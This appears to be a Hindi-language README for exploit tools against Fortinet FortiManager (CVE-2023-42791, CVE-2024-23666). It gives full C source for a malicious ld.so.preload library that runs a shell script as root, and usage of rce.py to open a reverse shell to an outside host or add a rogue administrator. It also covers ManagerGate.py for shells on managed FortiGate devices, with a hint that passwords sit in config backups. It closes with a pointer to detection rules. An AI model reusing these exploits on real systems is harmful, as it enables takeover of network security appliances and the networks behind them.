
CVE-2023-42791 और CVE-2024-23666 के लिए शोषण स्क्रिप्ट।
इन कमजोरियों का लाभ उठाने वाली दो शोषण स्क्रिप्ट प्रदान की गई हैं:
rce.py: FortiManager पर अनप्रिविलेज्ड एक्सेस से रिवर्स शेल प्रदान करता है या एक मनमाना व्यवस्थापक जोड़ता है।ManagerGate.py: रिमोट मैनेज्ड FortiGate SSH सेवाओं से कनेक्ट करने की अनुमति देता है। SSH पासवर्ड अभी भी आवश्यक हैं लेकिन FortiManager कॉन्फ़िगरेशन बैकअप में पाए जा सकते हैं।अधिक विवरण के लिए, कृपया https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities पर उपलब्ध संबंधित सलाह देखें।
एक दुर्भावनापूर्ण लाइब्रेरी संकलित करें जो /rce.sh चलाएगी:
$ cat rce.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
if (getuid() != 0) return 0;
unlink("/etc/ld.so.preload");
if (fork() == 0) {
setgid(0);
setuid(0);
system("/bin/bash /rce.sh");
}
return 0;
}
$ gcc -fPIC -shared -o rce.so rce.c -nostartfiles
उपयोग:
$ python3 rce.py -h
usage: rce.py [-h] [-k] [-l LIBRARY] connection {revshell,adduser} ...
positional arguments:
connection User, password, and host (user:password@host)
options:
-h, --help show this help message and exit
-k, --insecure Do not check the remote host certificate (default: False)
-l LIBRARY, --library LIBRARY
Malicious library path (default: /tmp/rce.so)
Action to run:
{revshell,adduser}
revshell Run a Python reverse shell
adduser Create a new administrator
रिवर्स शेल प्राप्त करने के लिए:
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] revshell 10.10.10.100 1234
[+] Login to the FortiManager
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE
FortiManager में एक नया व्यवस्थापक जोड़ने के लिए:
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] adduser malicious_adm password
[+] Login to the FortiManager
[+] Uploading /create_user.txt
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE
$ python3 ManagerGate.py -h
usage: ManagerGate.py [-h] -H HOST -u USER -p PASSWORD [-d DEVICEID] [-i TUNNELIP] [-l] [-x PROXY] -U GU [-v VERBOSE]
get a shell on fortigate
options:
-h, --help show this help message and exit
-H HOST, --host HOST host of the fortimanager
-u USER, --user USER user to connect with to the fortimanager
-p PASSWORD, --password PASSWORD
password to connect to the fortimanager
-d DEVICEID, --deviceid DEVICEID
device oid to get shell
-i TUNNELIP, --tunnelip TUNNELIP
tunnel ip of the fortigate
-l, --local local connect to fortimanager
-x PROXY, --proxy PROXY
proxy request
-U GU, --gu GU user to connect with to the fortigate
-v VERBOSE, --verbose VERBOSE
उदाहरण
$ python3 ManagerGate.py -H 10.0.0.1 -u ReadOnlyUser -p MyPassword123 -d 1011 -i 169.254.0.2 -U root
लक्षित FortiGates का डिवाइस OID और टनल IP FortiManager GUI पर पाया जा सकता है।
इन शोषण स्क्रिप्ट के उपयोग का पता लगाने के उद्देश्य से सिग्मा डिटेक्शन नियम Synacktiv के नियम रिपॉजिटरी में उपलब्ध हैं: https://github.com/synacktiv/synacktiv-rules/tree/main/2025/fortimanager